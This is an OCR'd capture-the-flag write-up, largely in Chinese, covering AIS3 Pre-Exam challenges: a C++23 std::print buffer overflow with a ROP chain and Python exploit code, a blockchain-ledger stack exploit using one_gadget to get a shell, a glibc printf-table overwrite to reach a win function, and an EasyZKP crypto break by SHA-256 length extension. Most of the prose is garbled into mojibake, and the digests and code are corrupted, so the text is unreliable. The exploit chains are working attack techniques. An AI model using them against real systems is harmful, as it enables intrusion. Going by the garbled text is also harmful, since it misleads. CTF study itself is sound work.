GbLlw3NVybxJUNASNtPKVxINNL1331z1Y1WXP7hJYyMUz6pHlyAQQhjRale+s7aAF /QtdAA==

verify: curious.sleeping. DS RRSIG OK, signed by parent ZSK key_tag=36128

verify: DS digest matches child KSK key_tag=52272

ds: curious.sleeping. DS 52272 15 2 A22F5CD9E6393EB1E981DC6A18689CD35EAIABBLSD1C55UA3681D23BOEFA3C12

== curious.sleeping. DNSHKEY ==
query: curious.sleeping. DNSKEY
curious.sleeping. DNSKEY 257 3 15 OYyWwJ7L7GDsoQAuTU48IWLLBoZq6kFKhbDGKzu5bUAU=
curious.sleeping. DNSKEY 256 3 15 z6WoIEww7ipGWCTIM2QjYLlyN3ia+xYdunmXUoEVET14=
curious.sleeping. RRSIG DNSKEY 15 2 3600 20300101000000 20260513000000 52272 curious.sleeping. EpM7
593XrtmoU@0q7dRA7RreInRnjiopYQ3ic+OM86NMw2dIzMHcYwsTtMHOOEPLYV0135ipIxdjyNMochg5CA==
verify: curious.sleeping. DNSKEY RRSIG OK, signed by KSK key_tag=52272
keys: KHSK=52272 ZSK=11113

== curious.sleeping. SOA ==
query: curious.sleeping. SOA

curious.sleeping. SOA nsl.curious.sleeping. hostmaster.curious.sleeping. 2026040101 3600 600 604300
60

curious.sleeping. RRSIG SOA 15 2 3600 20300101000000 202608513000000 11113 curious.sleeping. Jr6FSOb
QeuSulUDVOjQAGriWggLZawokKiErBD/sEGg5K5DIBYyHgqXA2icZnM9yJY700Jhqz92NQsSEFNiAdrAg
verify: curious.sleeping. SOA RRSIG OK, signed by ZSK key_tag=11113
serial: 2026040101

== mail.curious.sleeping. A ==
query: mail.curious.sleeping. A
mail.curious.sleeping. A 13.37.73.31
mail.curious.sleeping. RRSIG A 15 3 3600 2030010100000 20260513000000 11113 curious.sleeping. xg¥YW
Fal/FLhL/ajQDF5ELkX7@Pv733AEo+rFfmkST22ct1dQHtEFBVL9JrEm2gL HuMHC3XUWxePMhYXuDsMFA
verify: mail.curious.sleeping. A RRSIG OK, signed by ZSK key_tag=11113 zone=curious.sleeping.
OK mail.curious.sleeping. A 13.37.73.31
PS C:\Users\User>
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o BHHRBEZEREERILENHBEDN -
o Z\HEE NSECO BEMBEMRNEMNZER °
o BIEREFRRTE REHAFEMING - BEZHEIDUERER -

B 5
§n38 1<  python dg-server @chalsl.ais3.0rg:53573 www.curious.sleeping A’

B BEHER : "azftOazxct7utcyw.curious.sleeping TXT

std:print("Hello, World") revenge

Category: Pwn / Medium

Flag: AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}

& B Bk

AREFR A —{# C++23 #WzEM) ELF binary, £/ std:print #4786 H,

PR E R RERE Y flag.txt 24335k buffer, 228 A MBI <5476 F & A



£73e=0 il agsiy

No PIE ([EEHLE, J7{H ROP)

No Canary (# stack canary 1##)

Full RELRO (GOT ARAlE)

NX enabled (ANFIAT stack)
RSB

Question() ¥ A read(0, buf, 0xe0) & Hu# AZE| rbp-0x50 #Y stack buffer,

lit i &% Oxe0 - 0x50 = 0x90 bytes, & LI saved rbp K& K& return address,

ME—fG& - 55— byte & ZER 'Y 5y, HHIFERAEEE exit().

WOk T

- main() @ 0x403613: i} load_flag(). setvbuf, show_number(), lE &I Question()
- load_flag() @ 0x403506: #&Hx flag.txt %= 4J5k buffer 0x427040

- show_number() @ 0x40356c¢: AL std::print("Value: {21\n", a, b, ¢), a=b=c=1337

- Question() @ 0x4035d4: 7# 0xe0 bytes % 0x50 K/ & buffer (BOF!)

- __printer_setup() @ 0x4035be: lea rcx,[round_count]; lea r8,[round_count]; ret (via rbp)

- std::print wrapper @ 0x406b48: B & A stdout, Pl inner FILE* jftA



I FH SR

EAZ : FIH ROP rerL std:print("{}", flag_ptr) 2k flag R,

SRk

1. std::print 9 basic_format_string /£ RUNTIME i (len, ptr) pair &4,

fei T C++23 ) compile-time format validation,

2. std:print<int&, int&, int&> 7E&:AE format_args K& dereference 455 =
int& 2% (ANfE format string HAHZI—#) , Kk rdx, rcx, r8 #wZE

ALY int* FEAE,

3..rodata ' "AIS3{}" AT A "(}" L Ox41al64, wI{EZy format string,

Yras e

std::print wrapper (0x406b48) FREALLAE i -

format string £ (2, B "{}" HEE)

rdi

rsi

format string 8% (ex4lale4, f5iA "{}")



rdx = arge (int*, #EMAHMEINH flag (&)
rcx = argl (int*, SEHAR)

r8 = arg2 (int*, SAEAHR)

__printer_setup gadget ¥/

[l : ROPgadget HH N EIE R E rex #0 r8 B pop gadget,

fiRlk: - FIA __printer_setup() @ 0x4035be, ‘ERYTT AT :

lea rcx, [rip + round_count] ; rcx = &round_count (0x4270c0)

lea r8, [rip + round_count] ; r8 = &round_count (0x4270c0)
ret ; [HEFEAY ret HBSSE pop saved rbp % Bk

i 5e ] POP_RBP_RET ¥ rbp 7% % PRINT_WRAPPER (0x406b48),

__printer_setup $UTEZE [ret) 2 rbp FrigfAckk, RIBEEI print wrapper,

Stack Alignment

libstdc++ A format ALK #EE sk 16-byte stack alignment,

£ __printer_setup miiffi A —{E# 4l ret gadget (0x40301a) & IE 7%,

ROP Chain #&#&



[0x50 bytes padding (7 byte='Y')]

[saved rbp = ©xdeadbeef]

POP_RDI_RBP_RET (@x416e51) -> rdi=2, rbp=0

POP_RSI_RBP_RET (0x4153f7) -> rsi=ex41a1l64 ("{}"), rbp=0
POP_RDX_GADGET (©x41399c) -> rdx=FLAG_ADDR+offset

POP_RBP_RET (0x4034ed) -> rbp=PRINT_WRAPPER (0x406b48)
RET_ALIGN (ox40301a) -> 16-byte alignment

PRINTER_SETUP  (@x4035be) -> rcx=r8=&round_count, jump to rbp

MAIN_LOOP (0x40365d) -> print SEMEIEIIEEBHEE T —iRE

IR

2k ROP gLl "{}" format FIH FLAG_ADDR+offset i) 4-byte int (little-endian),
BTN B 4% A struct.pack( <", n) (5] bytes,

RIS +4, EEEEGE Y Foik 1k,

Exploit 22 (% /LE847)

def make_payload(offset, end_addr=MAIN_LOOP):
buf =b'Y' + b'A" * (Ox50 - 1)
buf += p64(0xdeadbeef)
rop = p64(POP_RDI_RBP_RET)
rop += p64(POP_RSI_RBP_RET)
rop += p64(POP_RDX_GADGET)
rop += p64(POP_RBP_RET)
rop += p64(RET_ALIGN)
rop += p64(PRINTER_SETUP)
rop += p64(end_addr)

p64(2) + p64(0)
p64(FMT_BRACES) + p64(0)
p64(FLAG_ADDR + offset)
p64(PRINT_WRAPPER)

+ o+ o+ o+



buf += rop
buf += b'\x00' * (@xe® - len(buf))
return buf

def leak_int(p, offset):
p.send(make_payload(offset))
digits = b"'
while True:
c = p.recv(l, timeout=3)
if not c or c not in b'-0123456789':
break
digits += ¢
return digits

# Tl - R 4 bytes
for offset in range(@, 128, 4):
digits = leak_int(p, offset)
n = int(digits)
if n < @:
n &= Oxffffffff
chunk = struct.pack('<I', n)
leaked += chunk
if b'}' in leaked:
break

1. —BA%AIEER cwd, binary £~ flag.txt [E £ exit(1)

2. 5% —ht ROP {%3% rcx/r8, crash 7E basic_format_arg &t 1
(T4 int& #B&r ¢ dereference, A% format string f 2% (#)
3.8 T rex/r8 #4715 crash, JRIAE stack & 16-byte aligned
(libstdc++ format REEAEAL resize_and_overwrite B SIGSEGV)

4. i RET_ALIGN gadget # &k Zhiigi



ARREE R C++23 std:print / std:format AIHEE (EHERAR,
FshIl& basic_format_string i runtime &4 7, _Arg_store ¥
R eager evaluation, LA an{nf7E Full RELRO + NX BREE T

FIAEA A &1 gadgets 5Ei% ROP,

Flag: AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}

blooockchain

Category: pwn / blockchain

—., BEERERER

B4R blooockchain

nc chalsl.ais3.org 21337, % instance manager

EAR TR
i BHEXE B port

dist-blooockchain-

Rt
620a2cbcdb3474646557edbfc34da7fea7835f2c.zip

BHAER R Eh LS flag

Flag AIS3{S1Mpl3_BLoCkcHaln_NOT_$Imple_pWn}




= AIS3 Pre-Exam x <+

< C [] % pre-examais3.org/challenges#bl.. @ |2

blooockchain
499

pwn  blockchain

wo WO
| developed a blooockchain but | don't have time to implement any fancy features!

1alsl.ais3.org 21337

Author: pwn2ooown

& dist-blooockehain-6...

Flag

&1 : CTFd & H Eihr, £ H % blooockchain, 2#i#% pwn / blockchain,

Z. BLRFASZ

B ERA A (A KR ERdRA, MR AL S fl gk SHA-256 digest #1801
it ledger ; ledger W2 B E, HEELE view LhRE AT LU ledger #% 719 stack RZFTH
A, A HAE exit B[ FE % return address,

e Add transaction : i A From, To. Money #, =G5 digest W iEN1E] ledger,

o View ledger : # ledger RZFIEK hex ; & ledger #8544, #E leak stack /Y return

address.,



o Exit : I return Bl W E B return address, [K itk A LAFEH] RIP,
o [RH : FUEN digest t&#B & HERERE 200 \x00, (7 okl E R N —{E byte & g8 REH 4,
AHEE 2 —i% K ROP chain E#,

=. fRERE

1. JE¥dT instance manager, ;@i CTFd token £ hashcash PoW #% EufS & challenge port,

2. i) chal, #EF83-% menu % add / view / exit ; ledger ;81 digest Ao #iE 7T LUELA,

3. FIH Money H{7 rT#ErRetE, #7718 a55E SHA-256 digest prefix, #ian [4:3E 0 byte) |

Nx00 BREA] . 57 byte ##2\x007 .

4. %% 0 digest /it ledger, 7/ \x00 BH5H digest #EEIR R, H% B view 8 HH
& EL,

5. ZH—K leak Buf5 PIE return address, F15: PIE base, #2340 RIP %2 blockchain+5,
AERECE A blockchain W4 stack frame,

6. % _BEEEFIR leak, HufS libc return address, FHH libc base,

7. W stack shape #, ¥ RIP %52l libc+0x11b7ef ;55 one_gadget,

8. one_gadget i shell %1% cat /flag.txt, Huf% flag,

9. BASE primitive SXET
B digest /& SHA-256 #& 5, RREE B ALE byte ; {2 EE From=1, To=2, X7tk
Money, EZ| digest %4 AT prefix,

sha256(f'From: 1, To: 2, Money: {money}')

=R s Lon dan bz
175 ledger digest AR E \x00 WESR IR AR, FEE SR
HETE/ DI digest.startswith(\x00) FIAKE R null byte izt
leak
R digest.startswith(bytes([target_byte, | % byte &k return address
01)

F. rhtEHHER exploit BEE#R
e PIE base = leak1[0x208] - 0x185b,




o HUHTHEARNEE blockchain+5, MR E R ABHEE, JRIAJE 28R push rbp kR
1519 stack alignment,

e libc base = leak2[0x208] - 0x2a578,

o FHEYERIVE : return — blockchain+5 — % —¥k leak — return — libc+0x11b7ef,

o flag BRRIRIE A /flag.txt, KM shell &kt % H cat /flag.txt,

target = libc_base + 0x1llb7ef
command = 'cat /flag.txt; echo __END__

N, BITAXETHEIE
£ Windows PowerShell A WSL #1T exploit.py, #ihiA Eaiific CTFd token ; BB HLERRY
token HER 7 CTFD_TOKEN /8 A,

$env:CTFD_TOKEN="'[REDACTED]"
wsl bash -1c "cd '/mnt/c/Users/User/Documents/New project 4/blooockchain’ &&
CTFD_TOKEN="$env:CTFD_TOKEN' python3 exploit.py --host chalsl.ais3.org"

® Windows PowerShell X + ~

Windows PowerShell )
Z{1E# (C) Microsoft Corporation- REBEAEA -

ZHEEHB PowerShell DIEEF INAE ML EIHAE | https://aka.ms/PSWindows

PS C:\Users\User>
PS C:\Users\User> bash

[+] started instance on chalsl.ais3.org:60643
AIS3{S1Mpl3_BLoCkcHaln_NOT_$Imple_pWn}
PS C:\Users\User>

& 2 : 7T exploit py # HE)F instance, Lkt flag.



+. 8%

A exploit FUEZ.OJEHE SHA-256 digest & sz (Rl byte-level write primitive 5/ : 5%
it view leak Hi PIE / libc, FFi%i# re-entry {&1F stack frame, #% f one_gadget gl
Biff, BIEFIEEENRERE AL BB \X00 MEIER, KL REE 52 ROP
chain, TRt re-entry INE#E gadget,

Re BRI B G R BIHOIR
FEH 4 FERIR B RERIAO R
A5 : pwn
EAE A - nc chalsl.ais3.org 41240

Flag : AIS3{This_ls_a_SpeCial_LLLLLLLLLOVE_FOR_yOU@Do_YOu_L1k3_mY_|Ov3?}

BEEEA



== AIS3 Pre-Exam X @ chals1.ais3.0rg:10002 @ Tea God World Advent @ chals1.ais3.0rg:28787/ ap - =]

< C [J % pre-exam.ais3.org/challenges##i.. |2 | @ A O E A0 K

2[4 14 2 EABRE

5 51 B9 2 465 15 B RO R
500

pwn

w0 180
HIRAENSE pwn > BRE pwn (FRET > RIBRAELIROBIIGIRT > 55
{RIECF!

nc chalsl.ais3.org 41240

Author: naup96321

& dist-2a51a53dc72...

Flag

& HEAHE

P —PBHAAE(E constructor H leak =fEArHE @ init_program, puts, LK stack LAY
lol, main AAH—k 8-byte arbitrary write, B &1 printf("write %lIx -> %p\n",
value, target), xf&iE £ _exit(0),

AL



EEAREE X ret2win, [ main A& IEH return, HEIERBCERLZME—IRK
arbitrary write 219 printf, glibc 2.41 4 printf extension ##l|, &2%5
__printf_function_table #L _ printf_arginfo_table, &3HE AN & HfE

_ printf_function_table + 6, #taEH —¥ misaligned 8-byte write [FIIRF 225 [y {#
global : 3% function_table ##%3E NULL, F#2 arginfo_table 52155 & rON &,

FI A BR
1. H leak & 1} PIE base Hi libc base, [.%1 pie = init_program_leak - 0x1213, libc =

puts_leak - 0x8db60, win = pie + 0x11f9,

2. stack EJFAEEA BLAHY main F51%, FIHIALE Z —J& main_slot = lol - Ox6c, A%
printf format € EH %Ix, FrLl conversion char x ) index /& 0x78, [l it

fake_arginfo = main_slot - 0x78 * 8,

3. F—Hmil target #% ik libc + __printf_function_table + 6, value &% ((fake_arginfo
& ((1<<48)-1)) << 16) | 0x4141, Ekk F—k printf fEEEE %x FF, &8 stack LR
il main $E1EE AL handler Fpmlf, 7 2R AEHE A main, @255 "Ik arbitrary write,

4. 5 " E B main_slot ;2 4E main Sk win, #2355 — i main X g A2 [E —{F
printf, & %x B % handler |, st& s pEBkE win(), HE shell,

5. # shell #%3#47 cat /home/chal/flag.txt, Elal7#H flag.

Exploit BEERAE

main_slot = lol - Ox6c ; fake_arginfo = main_slot - ord('x’) * 8 ; first_target = libc +
0x212700 + 6 ; first_value = ((fake_arginfo & ((1 << 48) - 1)) << 16) | 0x4141, #%—
#mis first_target / first_value, & —#m% main_slot/ win, % cat

/home/chal/flag.txt,

s o



B IR E ) T (E A — Yk arbitrary write BRIk, 2 ELEEEK return address,
ifi & #hHF glibe printf 19 extension table, c7# %x E A main, FHE[E—F% stack
pointer 2k win, &R Tk printf B shell,

EasyZKP

Crypto

B1EAR# : nc chalsl.ais3.org 48765

WE  EENAMAERE  ORA=D : TAA d SEHEAZEI query 2813%EH seed - B
£ N 2% < seed = lambda(N) & proof J#& digest #18 - &% A SHA-256 length

extension SeAl T /\Ew{AiE



== AIS3 Pre-Fxam X =+

< C [l % pre-examais3.org/challenges?.. Q 2| @ A

Author:whale120

nc chalsl.ais3

1. &6 Bt

AR#% D BRI ER 9> © HTTP prover B E &8 SHA-256(flag || suffix) 5t& proof - netcat verifier Bl
1R oracle IV IETCHEEIR T, - proof RUFRRIREE : digest bit & 0 i1 value = value +

seed mod N  bit & 1 BFf{ value = value*seed mod N -

RE LEERRENSHE flag - BWISE P proof ; BER LB B query string ~ 122 N
B2 hash RRETHERE—IE - ARWHAPIBM—IRTENIHESHE -



2. FB—{EA : d BBAILIFEA query string

verifier IE0U prover FfERF B H#EES URL - BIUAK

& ?p=<server>&d=<user>8&s=<seed> - FBBER d BALM URL encode - EIEF L%
AR nonce HE O LURTEERINSEY -

BIUNE d A <baseb4>8&s=... - prover It & IZEIFHFIEERIHT seed - BH5E verifier UHE
Ol seed - BEIEFTT proof i prover EEERZHMHE -

® Windows PowerShell x + ~

Windows PowerShell
%{E# (C) Microsoft Corporation - AR -

#9 PowerShell Ll Hi45 #f 1D # )BE ! https://aka.ms/PSWindows
PS C:\Users\User>

[self-test] sha256 extension ok
[recover] base suffix bytes = 32
[recover] digest = 7a5c2fff35edUedbf79e0b776b77Ue06U6c160c036222a062e998aU002Fcaa’0
[len] trying 1: no
[len] trying 2: no
[len] trying 3: no
[len] trying 4: no
[len] trying 5: no
[len] trying 6: no
[len] trying 7: no
[len] trying 8: no
[len] trying 9: no
[len] trying 10: no
[len] trying 11: no
[len] trying 12: no
[len] trying 13: no
[len] trying 14: no
[len] trying 15: no
[len] trying 16: no
[len] trying 17: no
[len] trying 18: no
[len] trying 19: no
[len] trying 26: no
[len] trying 21: no
[len] trying 22: no
[len] trying 23: no
[len] trying 24: no
[len] trying 25: no
[len] trying 26: no
[len] trying 27: no
[len] trying 28: no
[len] trying 29: no
[len] trying 30: no
[len] trying 31: no

3. BE_{EF : 72 N I seed = lambda(N)
N o] DI 2 mEES - Lol &E H lambda(N) = Ilem(p-1,9-1) -
lambda(N) - proof KT R E KRIREL -

B seed 588

HAEZH x K& A x ambda(N) = 1 mod N - Fill digest 3/ 1 bit £ F SILAREER
1.1 0bit IREFEEHNMLE—E lambda(N) - E15—2K - proof EEENRM T &AEHBE 1 B

mEBEZE, -



4. &R digest B length extension

£ oracle = th - HMATLIEIEE—# suffix B seed - MREFEH proof & bit flip - HUE
B seed JEAM lambda(N) - #ZFS R proof #EIEAI&RAEN 1 EWE - BEIE bit
flip #2 -

EE—RBUREEAR - EEERE SHA-256(flag || base_suffix) BIZ{E digest - FHZHEFA
SHA-256 1] length extension - #iEE 240 digest IE{BZ] challenge X B —#HH server
suffix L -

& Windows PowerShell =+ ~

[len] trying 25: no
[len] trying 26: no
[len] trying 27: no
[len] trying 28: no
[len] trying 29: no
[len] trying 38: no
[len] trying 31: na
[len] trying 32: no
[len] trying 33: no
[len] trying 34: ne
[len] trying 35: no
[len] trying 36: no
[len] trying 37: ne
[len] trying 38: no
[len] trying 39: no
[len] trying 48: no
[len] trying 41: no
[len] trying 42: no
[len] trying 43: no
[len] trying 44: no
[len] trying 45: no
[len] trying 46: no
[len] trying 47: no
[len] trying 48: no
[len] trying 49: no
[len] trying 58: no
[len] trying 51: no
[len] trying 52: no
[len] trying 53: no
[len] trying 54: no
[len] trying 55: no
[len] trying 56: no
[len] trying 57: no
[len] trying 58: no
[len] trying 59: no
[len] trying 68: no
[len] trying 61: no
[len] trying 62: match
[len] recovered flag length = 62

AIS3{simple_oracle_and_dramatic_injections_leading_forge_XDDD}
PS C:\Users\User\Documents\Codex\2826-85-16\files-mentioned-by-the-user-dist-2>

5. STEF ARE
E— . EF oracle EHX W EB d LEIE seed 2% lambda(N) °

F_ 4 - H proof & flip oracle EIREH—#EIE base_suffix ¥ &R digest -

F=& - BH flag RE®EM length extension - FEHAITILLE challenge B E—RAIHT server
suffix FE A & i 1E# proof -

MU - EAIENBE, - 3 base_suffix 1_E padding &A% nonce - E&LIZE+/NEwERIS flag -



6. #& am SIS 75 ]
BERITZF  BARAZE— bug - MEB-ERSTRRELE—E | KRARIFAY query string ~ A7
fER N - DURTI# length extension FAH secret-prefix SHA-256 -

§

S==
=

i

BEAXOREE 55— FIAEAZERAZBELEIER URLencode ; £ - AZ:&E prover R
5 request 28R TE seed ; 5= - 518 keyed hash H5=FEXA HMAC - MAZE#H SHA-
256(flag || data) -

7. Ex#& Flag
AIS3{simple_oracle_and_dramatic_injections_|leading_forge_XDDD}






